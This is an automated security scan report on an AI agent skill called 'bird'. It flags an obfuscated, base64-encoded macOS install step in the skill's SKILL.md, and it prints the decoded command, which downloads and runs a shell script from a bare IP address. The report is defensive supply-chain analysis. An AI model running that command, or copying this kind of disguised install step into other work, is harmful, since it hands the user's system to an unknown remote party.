Trust Assessment
bird received a trust score of 35/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 4 findings: 3 critical, 1 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Arbitrary Code Execution via Obfuscated Remote Script, Untrusted Supply Chain Dependency from Unknown IP.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 25/100, indicating areas for improvement.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings4
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/bird-2l/SKILL.md:10 | |
| CRITICAL | Arbitrary Code Execution via Obfuscated Remote Script The skill's installation instructions for MacOS include a shell command that downloads and executes an arbitrary script from an untrusted IP address (91.92.242.30). The command is obfuscated using base64 encoding, which decodes to `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`. This allows the skill to execute any code on the user's system with the privileges of the user running the command, posing a severe security risk. Remove the malicious MacOS installation command. All external dependencies should be sourced from trusted, verifiable locations (e.g., official package managers, well-known GitHub releases with checksums) and their installation process should be transparent and auditable. Avoid direct execution of scripts downloaded from unknown IP addresses or obfuscated commands. | LLM | SKILL.md:13 | |
| CRITICAL | Untrusted Supply Chain Dependency from Unknown IP The MacOS installation instructions involve downloading and executing a script from an unknown IP address (91.92.242.30). This introduces a critical supply chain risk, as the content of the script is entirely controlled by an external, untrusted entity. The script could change at any time to deliver malware, backdoors, or other malicious payloads without the user's knowledge. Replace the untrusted remote script download with a secure and verifiable installation method. If an external dependency is required, it should be fetched from a reputable source, ideally with cryptographic verification (e.g., checksums, signed packages). The skill should not rely on direct execution of code from arbitrary IP addresses. | LLM | SKILL.md:13 | |
| HIGH | Hidden Instructions via Base64 Encoding The MacOS installation command uses base64 encoding to obscure the actual command being executed. While base64 is not encryption, its use here makes the malicious intent less immediately obvious to a casual observer. The decoded command reveals a direct download and execution of a script from an untrusted source, which is a common tactic for hiding malicious payloads. Remove any obfuscated commands. All instructions and code should be clear, transparent, and easily auditable. If encoding is necessary for data transfer, it should be explicitly documented and its purpose justified, not used to hide executable commands. | LLM | SKILL.md:13 |
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